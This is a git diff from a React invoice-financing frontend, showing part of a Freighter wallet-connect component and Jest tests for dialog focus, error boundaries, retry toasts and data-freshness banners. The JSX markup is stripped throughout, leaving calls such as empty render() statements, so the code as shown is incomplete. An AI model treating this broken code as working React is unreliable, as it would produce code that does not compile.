walletType: "freighter", + network: expectedNetwork, + }); + onConnect?.(address); + setModalOpen(false); + } + }, [state, address, expectedNetwork, onConnect]); + + // Notify parent when disconnected + React.useEffect(() => { + if (state === "NOT_CONNECTED") { + onDisconnect?.(); + } + }, [state, onDisconnect]); + + const handleConnect = useCallback(async () => { + trackWalletConnectAttempt({ + walletType: "freighter", + network: expectedNetwork, + }); + setConnectionError(null); + try { + await connect?.(address || ""); + } catch (err: unknown) { + const msg = err instanceof Error ? err.message : String(err); + setConnectionError(msg); + trackWalletConnectFailed({ + error: msg, + walletType: "freighter", + network: expectedNetwork, + }); + } + }, [connect, address, expectedNetwork]); + + const handleDisconnect = useCallback(async () => { + setAccountMenuOpen(false); + trackWalletDisconnected({ address, network: expectedNetwork }); + await disconnect?.(); + }, [address, disconnect, expectedNetwork]); + + const isConnecting = state === "CONNECTING"; + const isDisconnecting = state === "DISCONNECTING"; + + // Map error code to user-facing copy (spec: docs/ux/wallet-connect.md §3.2–§3.6) + const errorMessage = (() => { + if (state !== "ERROR") return ""; + switch (connectionError) { + case "not_installed": + return "Freighter is not installed."; + case "rejected": + return "Connection was declined. You can try again at any time."; + case "timeout": + return "The request timed out. Please try again."; + default: + return "Something went wrong. Please try again."; + } + })(); + + const renderModalBody = () => { + if (state === "ERROR") { + return ( +
+

+ + {connectionError === "not_installed" ? ( + <> + Freighter is not installed.{" "} + + Get Freighter + + + ) : ( + errorMessage + )} +

+ {connectionError !== "not_installed" && ( + + )} +
+ ); + } + + return ( + <> +

+ Connect your Stellar wallet to bid, fund, and settle invoices. +

+
+ + + Your keys never leave your device.{" "} + + QuickLendX cannot access your funds. + + +
+ + ); + }; + + return ( + <> + {/* Trigger / nav element */} + {state === "CONNECTED" && address ? ( +
+ setAccountMenuOpen((v) => !v)} + /> + {accountMenuOpen && ( +
+ +
+ )} +
+ ) : state === "WRONG_NETWORK" ? ( +
+ + Wrong network —{" "} + +
+ ) : ( + + )} + + {/* Connect Modal */} + {modalOpen && ( +
+
!isConnecting && setModalOpen(false)} + aria-hidden="true" + /> +
+
+

+ Connect Wallet +

+ +
+
{renderModalBody()}
+
+ + +
+
+
+ )} + + {/* Wrong-network inline banner */} + {state === "WRONG_NETWORK" && !modalOpen && ( +
+ + + Wrong network detected. Switch to{" "} + + {expectedNetwork === "public" ? "Mainnet" : "Testnet"} + {" "} + in Freighter to continue. + + +
+ )} + + ); +}; diff --git a/quicklendx-frontend/app/components/__tests__/ConfirmAction.test.tsx b/quicklendx-frontend/app/components/__tests__/ConfirmAction.test.tsx index 443364e3d..54e6610c4 100644 --- a/quicklendx-frontend/app/components/__tests__/ConfirmAction.test.tsx +++ b/quicklendx-frontend/app/components/__tests__/ConfirmAction.test.tsx @@ -1,240 +1,240 @@ -/** - * ConfirmAction component tests — Issue #2880 acceptance criteria - * - * Covers: - * 1. Tab cycle visits all focusable elements and wraps (SC 2.1.1, SC 2.4.3) - * 2. Shift+Tab visits them in reverse - * 3. Focus returns to triggerRef after onConfirm resolves (success path) - * 4. Focus returns to triggerRef after timeout "Dismiss" click - * 5. Pressing Escape after re-rendering with a new onClose prop calls the - * new handler, not the stale one (fixes stale closure bug) - */ - -import React, { createRef } from "react"; -import { render, screen, act, waitFor } from "@testing-library/react"; -import userEvent from "@testing-library/user-event"; -import { ConfirmAction, ConfirmActionProps } from "../../app/components/ConfirmAction"; - -// --------------------------------------------------------------------------- -// Helpers -// --------------------------------------------------------------------------- - -const defaultFees = [ - { - label: "Platform fee", - amount: 0.0050000, - isEstimate: false, - }, -]; - -function makeProps(overrides?: Partial): ConfirmActionProps { - return { - isOpen: true, - onClose: jest.fn(), - onConfirm: jest.fn().mockResolvedValue(undefined), - invoiceId: "INV-001", - bidId: "BID-001", - lockedAmountXlm: 1000, - lockUntilDate: new Date(Date.now() + 86_400_000 * 7), - fees: defaultFees, - collateralisationRatio: 1.15, - stellarExplorerUrl: "https://stellar.expert/explorer/testnet/account/GTEST", - ...overrides, - }; -} - -// Mock react-hot-toast so it doesn't error in jsdom -jest.mock("react-hot-toast", () => ({ - __esModule: true, - default: { success: jest.fn(), error: jest.fn() }, - toast: { success: jest.fn(), error: jest.fn() }, - success: jest.fn(), - error: jest.fn(), -})); - -// --------------------------------------------------------------------------- -// Test 1: Tab cycle wraps forward through all focusable elements -// --------------------------------------------------------------------------- - -describe("ConfirmAction — Tab focus cycle", () => { - it("Tab cycles through all focusable elements and wraps back to first", async () => { - const user = userEvent.setup(); - render(); - - // Dialog should be present in DOM - const dialog = screen.getByRole("alertdialog"); - expect(dialog).toBeInTheDocument(); - - // Get all focusable elements inside the dialog - const getFocusable = () => - Array.from( - dialog.querySelectorAll( - 'a[href], button:not([disabled]), input:not([disabled]), select:not([disabled]), textarea:not([disabled]), [tabindex]:not([tabindex="-1"])' - ) - ).filter((el) => el.offsetParent !== null || el.tagName === "BUTTON"); - - const focusable = getFocusable(); - expect(focusable.length).toBeGreaterThan(1); - - // Focus first element - focusable[0].focus(); - expect(document.activeElement).toBe(focusable[0]); - - // Tab through all elements - for (let i = 1; i < focusable.length; i++) { - await user.tab(); - // After each Tab we expect to be on a focusable element inside dialog - expect(dialog.contains(document.activeElement)).toBe(true); - } - - // One more Tab should wrap back to first - await user.tab(); - expect(document.activeElement).toBe(focusable[0]); - }); - - it("Shift+Tab cycles through focusable elements in reverse", async () => { - const user = userEvent.setup(); - render(); - - const dialog = screen.getByRole("alertdialog"); - - const getFocusable = () => - Array.from( - dialog.querySelectorAll( - 'a[href], button:not([disabled]), input:not([disabled]), select:not([disabled]), textarea:not([disabled]), [tabindex]:not([tabindex="-1"])' - ) - ).filter((el) => el.offsetParent !== null || el.tagName === "BUTTON"); - - const focusable = getFocusable(); - const last = focusable[focusable.length - 1]; - const first = focusable[0]; - - // Start on first - first.focus(); - expect(document.activeElement).toBe(first); - - // Shift+Tab from first should wrap to last - await user.tab({ shift: true }); - expect(document.activeElement).toBe(last); - }); -}); - -// --------------------------------------------------------------------------- -// Test 2: Focus returns to triggerRef after onConfirm resolves -// --------------------------------------------------------------------------- - -describe("ConfirmAction — focus return on close", () => { - it("returns focus to triggerRef after onConfirm resolves through two-step button", async () => { - const user = userEvent.setup(); - // Create a real DOM button as the trigger - const triggerBtn = document.createElement("button"); - triggerBtn.textContent = "Open dialog"; - document.body.appendChild(triggerBtn); - const triggerRef = createRef(); - (triggerRef as React.MutableRefObject).current = triggerBtn; - - const onConfirm = jest.fn().mockResolvedValue(undefined); - const onClose = jest.fn(); - - const { rerender } = render( - - ); - - // Click "Confirm acceptance" twice with gap (two-step button) - const twoStepBtn = screen.getByRole("button", { name: /confirm acceptance/i }); - await user.click(twoStepBtn); - // Wait for the reset timer gap (500ms min) - await act(async () => { await new Promise((r) => setTimeout(r, 600)); }); - await user.click(twoStepBtn); - - // Wait for onConfirm and close to run - await waitFor(() => expect(onClose).toHaveBeenCalled()); - - // Close the dialog by rerendering with isOpen=false - rerender( - - ); - - await waitFor(() => { - expect(document.activeElement).toBe(triggerBtn); - }); - - document.body.removeChild(triggerBtn); - }); - - it("returns focus to triggerRef after Dismiss click (timeout state)", async () => { - jest.useFakeTimers(); - const user = userEvent.setup({ advanceTimers: jest.advanceTimersByTime }); - - const triggerBtn = document.createElement("button"); - document.body.appendChild(triggerBtn); - const triggerRef = createRef(); - (triggerRef as React.MutableRefObject).current = triggerBtn; - - // onConfirm never resolves — will hit SERVER_TIMEOUT_MS (10s) - const onConfirm = jest.fn(() => new Promise(() => {})); - const onClose = jest.fn(); - - const { rerender } = render( - - ); - - // Trigger submission via two-step button - const twoStepBtn = screen.getByRole("button", { name: /confirm acceptance/i }); - await user.click(twoStepBtn); - await act(async () => { jest.advanceTimersByTime(600); }); - await user.click(twoStepBtn); - - // Advance past server timeout (10 000 ms) - await act(async () => { jest.advanceTimersByTime(10_100); }); - - // "Dismiss" button should now be visible - const dismissBtn = await screen.findByRole("button", { name: /dismiss/i }); - await user.click(dismissBtn); - - await waitFor(() => expect(onClose).toHaveBeenCalled()); - - rerender( - - ); - - await waitFor(() => { - expect(document.activeElement).toBe(triggerBtn); - }); - - document.body.removeChild(triggerBtn); - jest.useRealTimers(); - }); -}); - -// --------------------------------------------------------------------------- -// Test 3: Escape key calls the *current* onClose, not a stale closure -// --------------------------------------------------------------------------- - -describe("ConfirmAction — Escape key calls current onClose (no stale closure)", () => { - it("pressing Escape after re-rendering with a new onClose calls the new handler", async () => { - const user = userEvent.setup(); - const firstOnClose = jest.fn(); - const secondOnClose = jest.fn(); - - const { rerender } = render( - - ); - - // Re-render with a different onClose before pressing Escape - rerender(); - - await user.keyboard("{Escape}"); - - expect(secondOnClose).toHaveBeenCalledTimes(1); - expect(firstOnClose).not.toHaveBeenCalled(); - }); -}); +/** + * ConfirmAction component tests — Issue #2880 acceptance criteria + * + * Covers: + * 1. Tab cycle visits all focusable elements and wraps (SC 2.1.1, SC 2.4.3) + * 2. Shift+Tab visits them in reverse + * 3. Focus returns to triggerRef after onConfirm resolves (success path) + * 4. Focus returns to triggerRef after timeout "Dismiss" click + * 5. Pressing Escape after re-rendering with a new onClose prop calls the + * new handler, not the stale one (fixes stale closure bug) + */ + +import React, { createRef } from "react"; +import { render, screen, act, waitFor } from "@testing-library/react"; +import userEvent from "@testing-library/user-event"; +import { ConfirmAction, ConfirmActionProps } from "../../app/components/ConfirmAction"; + +// --------------------------------------------------------------------------- +// Helpers +// --------------------------------------------------------------------------- + +const defaultFees = [ + { + label: "Platform fee", + amount: 0.0050000, + isEstimate: false, + }, +]; + +function makeProps(overrides?: Partial): ConfirmActionProps { + return { + isOpen: true, + onClose: jest.fn(), + onConfirm: jest.fn().mockResolvedValue(undefined), + invoiceId: "INV-001", + bidId: "BID-001", + lockedAmountXlm: 1000, + lockUntilDate: new Date(Date.now() + 86_400_000 * 7), + fees: defaultFees, + collateralisationRatio: 1.15, + stellarExplorerUrl: "https://stellar.expert/explorer/testnet/account/GTEST", + ...overrides, + }; +} + +// Mock react-hot-toast so it doesn't error in jsdom +jest.mock("react-hot-toast", () => ({ + __esModule: true, + default: { success: jest.fn(), error: jest.fn() }, + toast: { success: jest.fn(), error: jest.fn() }, + success: jest.fn(), + error: jest.fn(), +})); + +// --------------------------------------------------------------------------- +// Test 1: Tab cycle wraps forward through all focusable elements +// --------------------------------------------------------------------------- + +describe("ConfirmAction — Tab focus cycle", () => { + it("Tab cycles through all focusable elements and wraps back to first", async () => { + const user = userEvent.setup(); + render(); + + // Dialog should be present in DOM + const dialog = screen.getByRole("alertdialog"); + expect(dialog).toBeInTheDocument(); + + // Get all focusable elements inside the dialog + const getFocusable = () => + Array.from( + dialog.querySelectorAll( + 'a[href], button:not([disabled]), input:not([disabled]), select:not([disabled]), textarea:not([disabled]), [tabindex]:not([tabindex="-1"])' + ) + ).filter((el) => el.offsetParent !== null || el.tagName === "BUTTON"); + + const focusable = getFocusable(); + expect(focusable.length).toBeGreaterThan(1); + + // Focus first element + focusable[0].focus(); + expect(document.activeElement).toBe(focusable[0]); + + // Tab through all elements + for (let i = 1; i < focusable.length; i++) { + await user.tab(); + // After each Tab we expect to be on a focusable element inside dialog + expect(dialog.contains(document.activeElement)).toBe(true); + } + + // One more Tab should wrap back to first + await user.tab(); + expect(document.activeElement).toBe(focusable[0]); + }); + + it("Shift+Tab cycles through focusable elements in reverse", async () => { + const user = userEvent.setup(); + render(); + + const dialog = screen.getByRole("alertdialog"); + + const getFocusable = () => + Array.from( + dialog.querySelectorAll( + 'a[href], button:not([disabled]), input:not([disabled]), select:not([disabled]), textarea:not([disabled]), [tabindex]:not([tabindex="-1"])' + ) + ).filter((el) => el.offsetParent !== null || el.tagName === "BUTTON"); + + const focusable = getFocusable(); + const last = focusable[focusable.length - 1]; + const first = focusable[0]; + + // Start on first + first.focus(); + expect(document.activeElement).toBe(first); + + // Shift+Tab from first should wrap to last + await user.tab({ shift: true }); + expect(document.activeElement).toBe(last); + }); +}); + +// --------------------------------------------------------------------------- +// Test 2: Focus returns to triggerRef after onConfirm resolves +// --------------------------------------------------------------------------- + +describe("ConfirmAction — focus return on close", () => { + it("returns focus to triggerRef after onConfirm resolves through two-step button", async () => { + const user = userEvent.setup(); + // Create a real DOM button as the trigger + const triggerBtn = document.createElement("button"); + triggerBtn.textContent = "Open dialog"; + document.body.appendChild(triggerBtn); + const triggerRef = createRef(); + (triggerRef as React.MutableRefObject).current = triggerBtn; + + const onConfirm = jest.fn().mockResolvedValue(undefined); + const onClose = jest.fn(); + + const { rerender } = render( + + ); + + // Click "Confirm acceptance" twice with gap (two-step button) + const twoStepBtn = screen.getByRole("button", { name: /confirm acceptance/i }); + await user.click(twoStepBtn); + // Wait for the reset timer gap (500ms min) + await act(async () => { await new Promise((r) => setTimeout(r, 600)); }); + await user.click(twoStepBtn); + + // Wait for onConfirm and close to run + await waitFor(() => expect(onClose).toHaveBeenCalled()); + + // Close the dialog by rerendering with isOpen=false + rerender( + + ); + + await waitFor(() => { + expect(document.activeElement).toBe(triggerBtn); + }); + + document.body.removeChild(triggerBtn); + }); + + it("returns focus to triggerRef after Dismiss click (timeout state)", async () => { + jest.useFakeTimers(); + const user = userEvent.setup({ advanceTimers: jest.advanceTimersByTime }); + + const triggerBtn = document.createElement("button"); + document.body.appendChild(triggerBtn); + const triggerRef = createRef(); + (triggerRef as React.MutableRefObject).current = triggerBtn; + + // onConfirm never resolves — will hit SERVER_TIMEOUT_MS (10s) + const onConfirm = jest.fn(() => new Promise(() => {})); + const onClose = jest.fn(); + + const { rerender } = render( + + ); + + // Trigger submission via two-step button + const twoStepBtn = screen.getByRole("button", { name: /confirm acceptance/i }); + await user.click(twoStepBtn); + await act(async () => { jest.advanceTimersByTime(600); }); + await user.click(twoStepBtn); + + // Advance past server timeout (10 000 ms) + await act(async () => { jest.advanceTimersByTime(10_100); }); + + // "Dismiss" button should now be visible + const dismissBtn = await screen.findByRole("button", { name: /dismiss/i }); + await user.click(dismissBtn); + + await waitFor(() => expect(onClose).toHaveBeenCalled()); + + rerender( + + ); + + await waitFor(() => { + expect(document.activeElement).toBe(triggerBtn); + }); + + document.body.removeChild(triggerBtn); + jest.useRealTimers(); + }); +}); + +// --------------------------------------------------------------------------- +// Test 3: Escape key calls the *current* onClose, not a stale closure +// --------------------------------------------------------------------------- + +describe("ConfirmAction — Escape key calls current onClose (no stale closure)", () => { + it("pressing Escape after re-rendering with a new onClose calls the new handler", async () => { + const user = userEvent.setup(); + const firstOnClose = jest.fn(); + const secondOnClose = jest.fn(); + + const { rerender } = render( + + ); + + // Re-render with a different onClose before pressing Escape + rerender(); + + await user.keyboard("{Escape}"); + + expect(secondOnClose).toHaveBeenCalledTimes(1); + expect(firstOnClose).not.toHaveBeenCalled(); + }); +}); diff --git a/quicklendx-frontend/app/components/__tests__/ErrorBoundary.test.tsx b/quicklendx-frontend/app/components/__tests__/ErrorBoundary.test.tsx index 22c676aff..8d1000aad 100644 --- a/quicklendx-frontend/app/components/__tests__/ErrorBoundary.test.tsx +++ b/quicklendx-frontend/app/components/__tests__/ErrorBoundary.test.tsx @@ -1,87 +1,87 @@ -import React from "react"; -import { render, screen } from "@testing-library/react"; -import userEvent from "@testing-library/user-event"; -import { ErrorBoundary } from "../ErrorBoundary"; - -/** - * jsdom's `window.location.reload` is a non-writable own property, so it - * cannot be spied on directly. The location accessor itself is configurable, - * so the object is swapped for a copy whose `reload` is a mock. - */ -const installReloadSpy = () => { - const reloadSpy = jest.fn(); - const originalLocation = window.location; - - delete (window as unknown as { location?: Location }).location; - Object.defineProperty(window, "location", { - configurable: true, - writable: true, - value: { ...originalLocation, reload: reloadSpy }, - }); - - return { - reloadSpy, - restore: () => { - delete (window as unknown as { location?: Location }).location; - Object.defineProperty(window, "location", { - configurable: true, - writable: true, - value: originalLocation, - }); - }, - }; -}; - -describe("ErrorBoundary", () => { - it("re-renders the failed subtree on reset without reloading the page", async () => { - const user = userEvent.setup(); - const { reloadSpy, restore } = installReloadSpy(); - - let shouldThrow = true; - - const Boom: React.FC = () => { - if (shouldThrow) { - throw new Error("boom"); - } - return
ok
; - }; - - render( - - - - ); - - expect( - screen.getByText("Something went wrong. Please try again.") - ).toBeInTheDocument(); - - // The retry succeeds the second time around. - shouldThrow = false; - - await user.click(screen.getByRole("button", { name: "Try Again" })); - - expect(await screen.findByText("ok")).toBeInTheDocument(); - expect(reloadSpy).not.toHaveBeenCalled(); - - restore(); - }); - - it("does not reload the page when the error is caught", () => { - const { reloadSpy, restore } = installReloadSpy(); - - const Boom: React.FC = () => { - throw new Error("boom"); - }; - - render( - - - - ); - - expect(reloadSpy).not.toHaveBeenCalled(); - - restore(); - }); -}); +import React from "react"; +import { render, screen } from "@testing-library/react"; +import userEvent from "@testing-library/user-event"; +import { ErrorBoundary } from "../ErrorBoundary"; + +/** + * jsdom's `window.location.reload` is a non-writable own property, so it + * cannot be spied on directly. The location accessor itself is configurable, + * so the object is swapped for a copy whose `reload` is a mock. + */ +const installReloadSpy = () => { + const reloadSpy = jest.fn(); + const originalLocation = window.location; + + delete (window as unknown as { location?: Location }).location; + Object.defineProperty(window, "location", { + configurable: true, + writable: true, + value: { ...originalLocation, reload: reloadSpy }, + }); + + return { + reloadSpy, + restore: () => { + delete (window as unknown as { location?: Location }).location; + Object.defineProperty(window, "location", { + configurable: true, + writable: true, + value: originalLocation, + }); + }, + }; +}; + +describe("ErrorBoundary", () => { + it("re-renders the failed subtree on reset without reloading the page", async () => { + const user = userEvent.setup(); + const { reloadSpy, restore } = installReloadSpy(); + + let shouldThrow = true; + + const Boom: React.FC = () => { + if (shouldThrow) { + throw new Error("boom"); + } + return
ok
; + }; + + render( + + + + ); + + expect( + screen.getByText("Something went wrong. Please try again.") + ).toBeInTheDocument(); + + // The retry succeeds the second time around. + shouldThrow = false; + + await user.click(screen.getByRole("button", { name: "Try Again" })); + + expect(await screen.findByText("ok")).toBeInTheDocument(); + expect(reloadSpy).not.toHaveBeenCalled(); + + restore(); + }); + + it("does not reload the page when the error is caught", () => { + const { reloadSpy, restore } = installReloadSpy(); + + const Boom: React.FC = () => { + throw new Error("boom"); + }; + + render( + + + + ); + + expect(reloadSpy).not.toHaveBeenCalled(); + + restore(); + }); +}); diff --git a/quicklendx-frontend/app/components/__tests__/ErrorFallback.test.tsx b/quicklendx-frontend/app/components/__tests__/ErrorFallback.test.tsx index 2f0fc885c..b3a4885c8 100644 --- a/quicklendx-frontend/app/components/__tests__/ErrorFallback.test.tsx +++ b/quicklendx-frontend/app/components/__tests__/ErrorFallback.test.tsx @@ -1,59 +1,59 @@ -import React from "react"; -import { render, screen } from "@testing-library/react"; -import userEvent from "@testing-library/user-event"; -import { ErrorFallback } from "../ErrorBoundary"; -import { AuthenticationError } from "../../lib/errors"; - -describe("ErrorFallback", () => { - it("offers a wallet reconnection action for authentication errors", async () => { - const user = userEvent.setup(); - const onReauthenticate = jest.fn(); - - render( - - ); - - const button = screen.getByRole("button", { name: /reconnect wallet/i }); - expect(button).toBeInTheDocument(); - - await user.click(button); - - expect(onReauthenticate).toHaveBeenCalledTimes(1); - }); - - it("never links to the non-existent /login route", () => { - render( - - ); - - expect(document.body.innerHTML).not.toContain("/login"); - expect( - screen.queryByRole("link", { name: /login/i }) - ).not.toBeInTheDocument(); - }); - - it("renders the error type as a heading and hides the decorative artwork", () => { - const { container } = render( - - ); - - expect( - screen.getByRole("heading", { name: "Authentication Error" }) - ).toBeInTheDocument(); - - const artwork = container.querySelector("svg"); - expect(artwork).not.toBeNull(); - expect(artwork).toHaveAttribute("aria-hidden", "true"); - }); -}); +import React from "react"; +import { render, screen } from "@testing-library/react"; +import userEvent from "@testing-library/user-event"; +import { ErrorFallback } from "../ErrorBoundary"; +import { AuthenticationError } from "../../lib/errors"; + +describe("ErrorFallback", () => { + it("offers a wallet reconnection action for authentication errors", async () => { + const user = userEvent.setup(); + const onReauthenticate = jest.fn(); + + render( + + ); + + const button = screen.getByRole("button", { name: /reconnect wallet/i }); + expect(button).toBeInTheDocument(); + + await user.click(button); + + expect(onReauthenticate).toHaveBeenCalledTimes(1); + }); + + it("never links to the non-existent /login route", () => { + render( + + ); + + expect(document.body.innerHTML).not.toContain("/login"); + expect( + screen.queryByRole("link", { name: /login/i }) + ).not.toBeInTheDocument(); + }); + + it("renders the error type as a heading and hides the decorative artwork", () => { + const { container } = render( + + ); + + expect( + screen.getByRole("heading", { name: "Authentication Error" }) + ).toBeInTheDocument(); + + const artwork = container.querySelector("svg"); + expect(artwork).not.toBeNull(); + expect(artwork).toHaveAttribute("aria-hidden", "true"); + }); +}); diff --git a/quicklendx-frontend/app/components/__tests__/ErrorToast.test.tsx b/quicklendx-frontend/app/components/__tests__/ErrorToast.test.tsx index 4de679f70..613808fb8 100644 --- a/quicklendx-frontend/app/components/__tests__/ErrorToast.test.tsx +++ b/quicklendx-frontend/app/components/__tests__/ErrorToast.test.tsx @@ -1,80 +1,80 @@ -import React from "react"; -import { act, render, screen, waitFor } from "@testing-library/react"; -import userEvent from "@testing-library/user-event"; -import { Providers } from "../../providers"; -import { ErrorToastManager } from "../ErrorToast"; -import { NetworkError } from "../../lib/errors"; - -describe("ErrorToast", () => { - const manager = ErrorToastManager.getInstance(); - - afterEach(() => { - act(() => { - manager.dismissAll(); - }); - jest.clearAllMocks(); - }); - - it("renders a retry action and runs the retry callback", async () => { - const user = userEvent.setup(); - const onRetry = jest.fn().mockResolvedValue(undefined); - - render({null}); - - act(() => { - manager.showError(new NetworkError("x"), { onRetry }); - }); - - const retryButton = await screen.findByRole("button", { name: "Retry" }); - - await user.click(retryButton); - - await waitFor(() => expect(onRetry).toHaveBeenCalledTimes(1)); - }); - - it("does not render a retry action without an onRetry callback", async () => { - render({null}); - - act(() => { - manager.showError(new NetworkError("x")); - }); - - expect(await screen.findByText("x")).toBeInTheDocument(); - expect( - screen.queryByRole("button", { name: "Retry" }) - ).not.toBeInTheDocument(); - }); - - it("shows a new toast when the retry rejects", async () => { - const user = userEvent.setup(); - const onRetry = jest.fn().mockRejectedValue(new Error("boom")); - - render({null}); - - act(() => { - manager.showError(new NetworkError("x"), { onRetry }); - }); - - const retryButton = await screen.findByRole("button", { name: "Retry" }); - await user.click(retryButton); - - expect(await screen.findByText("boom")).toBeInTheDocument(); - expect(onRetry).toHaveBeenCalledTimes(1); - }); - - it("does not show the fake 'Retrying operation...' success toast", async () => { - const user = userEvent.setup(); - const onRetry = jest.fn().mockResolvedValue(undefined); - - render({null}); - - act(() => { - manager.showError(new NetworkError("x"), { onRetry }); - }); - - await user.click(await screen.findByRole("button", { name: "Retry" })); - - await waitFor(() => expect(onRetry).toHaveBeenCalledTimes(1)); - expect(screen.queryByText("Retrying operation...")).not.toBeInTheDocument(); - }); -}); +import React from "react"; +import { act, render, screen, waitFor } from "@testing-library/react"; +import userEvent from "@testing-library/user-event"; +import { Providers } from "../../providers"; +import { ErrorToastManager } from "../ErrorToast"; +import { NetworkError } from "../../lib/errors"; + +describe("ErrorToast", () => { + const manager = ErrorToastManager.getInstance(); + + afterEach(() => { + act(() => { + manager.dismissAll(); + }); + jest.clearAllMocks(); + }); + + it("renders a retry action and runs the retry callback", async () => { + const user = userEvent.setup(); + const onRetry = jest.fn().mockResolvedValue(undefined); + + render({null}); + + act(() => { + manager.showError(new NetworkError("x"), { onRetry }); + }); + + const retryButton = await screen.findByRole("button", { name: "Retry" }); + + await user.click(retryButton); + + await waitFor(() => expect(onRetry).toHaveBeenCalledTimes(1)); + }); + + it("does not render a retry action without an onRetry callback", async () => { + render({null}); + + act(() => { + manager.showError(new NetworkError("x")); + }); + + expect(await screen.findByText("x")).toBeInTheDocument(); + expect( + screen.queryByRole("button", { name: "Retry" }) + ).not.toBeInTheDocument(); + }); + + it("shows a new toast when the retry rejects", async () => { + const user = userEvent.setup(); + const onRetry = jest.fn().mockRejectedValue(new Error("boom")); + + render({null}); + + act(() => { + manager.showError(new NetworkError("x"), { onRetry }); + }); + + const retryButton = await screen.findByRole("button", { name: "Retry" }); + await user.click(retryButton); + + expect(await screen.findByText("boom")).toBeInTheDocument(); + expect(onRetry).toHaveBeenCalledTimes(1); + }); + + it("does not show the fake 'Retrying operation...' success toast", async () => { + const user = userEvent.setup(); + const onRetry = jest.fn().mockResolvedValue(undefined); + + render({null}); + + act(() => { + manager.showError(new NetworkError("x"), { onRetry }); + }); + + await user.click(await screen.findByRole("button", { name: "Retry" })); + + await waitFor(() => expect(onRetry).toHaveBeenCalledTimes(1)); + expect(screen.queryByText("Retrying operation...")).not.toBeInTheDocument(); + }); +}); diff --git a/quicklendx-frontend/app/components/__tests__/FreshnessBanner.test.tsx b/quicklendx-frontend/app/components/__tests__/FreshnessBanner.test.tsx index b313168ab..d6cc33db6 100644 --- a/quicklendx-frontend/app/components/__tests__/FreshnessBanner.test.tsx +++ b/quicklendx-frontend/app/components/__tests__/FreshnessBanner.test.tsx @@ -1,81 +1,81 @@ -import React from "react"; -import { render, screen } from "@testing-library/react"; -import "@testing-library/jest-dom"; -import { FreshnessBanner, isFreshEnoughForAction } from "../FreshnessBanner"; - -describe("FreshnessBanner Component and isFreshEnoughForAction", () => { - it("lag 10 gives no role=status/alert and shows 'Data as of'", () => { - const freshness = { - lastIndexedLedger: 100, - indexLagSeconds: 10, - lastUpdatedAt: "2026-03-15T14:30:00Z", - cursor: "c1", - }; - - render(); - - expect(screen.queryByRole("status")).not.toBeInTheDocument(); - expect(screen.queryByRole("alert")).not.toBeInTheDocument(); - expect(screen.getByText(/Data as of 14:30 UTC/i)).toBeInTheDocument(); - }); - - it("lag 45 gives role=status containing '45'", () => { - const freshness = { - lastIndexedLedger: 100, - indexLagSeconds: 45, - lastUpdatedAt: "2026-03-15T14:30:00Z", - cursor: "c1", - }; - - render(); - - const statusBanner = screen.getByRole("status"); - expect(statusBanner).toBeInTheDocument(); - expect(statusBanner).toHaveTextContent("45"); - expect(statusBanner).toHaveTextContent( - "Data may be up to 45 s behind the network" - ); - expect(screen.queryByRole("alert")).not.toBeInTheDocument(); - }); - - it("lag 150 gives role=alert", () => { - const freshness = { - lastIndexedLedger: 100, - indexLagSeconds: 150, - lastUpdatedAt: "2026-03-15T14:30:00Z", - cursor: "c1", - }; - - render(); - - const alertBanner = screen.getByRole("alert"); - expect(alertBanner).toBeInTheDocument(); - expect(alertBanner).toHaveTextContent( - "Data is significantly delayed. Bidding is paused until it catches up." - ); - expect(screen.queryByRole("status")).not.toBeInTheDocument(); - }); - - it("isFreshEnoughForAction returns true for 120 and false for 121", () => { - expect( - isFreshEnoughForAction({ - lastIndexedLedger: 100, - indexLagSeconds: 120, - lastUpdatedAt: "2026-03-15T14:30:00Z", - cursor: "c1", - }) - ).toBe(true); - - expect( - isFreshEnoughForAction({ - lastIndexedLedger: 100, - indexLagSeconds: 121, - lastUpdatedAt: "2026-03-15T14:30:00Z", - cursor: "c1", - }) - ).toBe(false); - - expect(isFreshEnoughForAction(null)).toBe(true); - expect(isFreshEnoughForAction(undefined)).toBe(true); - }); -}); +import React from "react"; +import { render, screen } from "@testing-library/react"; +import "@testing-library/jest-dom"; +import { FreshnessBanner, isFreshEnoughForAction } from "../FreshnessBanner"; + +describe("FreshnessBanner Component and isFreshEnoughForAction", () => { + it("lag 10 gives no role=status/alert and shows 'Data as of'", () => { + const freshness = { + lastIndexedLedger: 100, + indexLagSeconds: 10, + lastUpdatedAt: "2026-03-15T14:30:00Z", + cursor: "c1", + }; + + render(); + + expect(screen.queryByRole("status")).not.toBeInTheDocument(); + expect(screen.queryByRole("alert")).not.toBeInTheDocument(); + expect(screen.getByText(/Data as of 14:30 UTC/i)).toBeInTheDocument(); + }); + + it("lag 45 gives role=status containing '45'", () => { + const freshness = { + lastIndexedLedger: 100, + indexLagSeconds: 45, + lastUpdatedAt: "2026-03-15T14:30:00Z", + cursor: "c1", + }; + + render(); + + const statusBanner = screen.getByRole("status"); + expect(statusBanner).toBeInTheDocument(); + expect(statusBanner).toHaveTextContent("45"); + expect(statusBanner).toHaveTextContent( + "Data may be up to 45 s behind the network" + ); + expect(screen.queryByRole("alert")).not.toBeInTheDocument(); + }); + + it("lag 150 gives role=alert", () => { + const freshness = { + lastIndexedLedger: 100, + indexLagSeconds: 150, + lastUpdatedAt: "2026-03-15T14:30:00Z", + cursor: "c1", + }; + + render(); + + const alertBanner = screen.getByRole("alert"); + expect(alertBanner).toBeInTheDocument(); + expect(alertBanner).toHaveTextContent( + "Data is significantly delayed. Bidding is paused until it catches up." + ); + expect(screen.queryByRole("status")).not.toBeInTheDocument(); + }); + + it("isFreshEnoughForAction returns true for 120 and false for 121", () => { + expect( + isFreshEnoughForAction({ + lastIndexedLedger: 100, + indexLagSeconds: 120, + lastUpdatedAt: "2026-03-15T14:30:00Z", + cursor: "c1", + }) + ).toBe(true); + + expect( + isFreshEnoughForAction({ + lastIndexedLedger: 100, + indexLagSeconds: 121, + lastUpdatedAt: "2026-03-15T14:30:00Z", + cursor: "c1", + }) + ).toBe(false); + + expect(isFreshEnoughForAction(null)).toBe(true); + expect(isFreshEnoughForAction(undefined)).toBe(true); + }); +}); diff --git a/quicklendx-frontend/app/components/invoice-status.ts b/quicklendx-frontend/app/components/invoice-status.ts index 47df2d1df..ca79efd8c 100644 --- a/quicklendx-frontend/app/components/invoice-status.ts +++ b/quicklendx-frontend/app/components/invoice-status.ts @@ -1,80 +1,80 @@ -export type InvoiceStatus = - | "Pending" - | "Verified" - | "Funded" - | "Paid" - | "Defaulted" - | "Cancelled"; - -export const INVOICE_STATUSES: readonly InvoiceStatus[] = [ - "Pending", - "Verified", - "Funded", - "Paid", - "Defaulted", - "Cancelled", -] as const; - -export interface InvoiceStatusMeta { - status: InvoiceStatus; - label: string; - 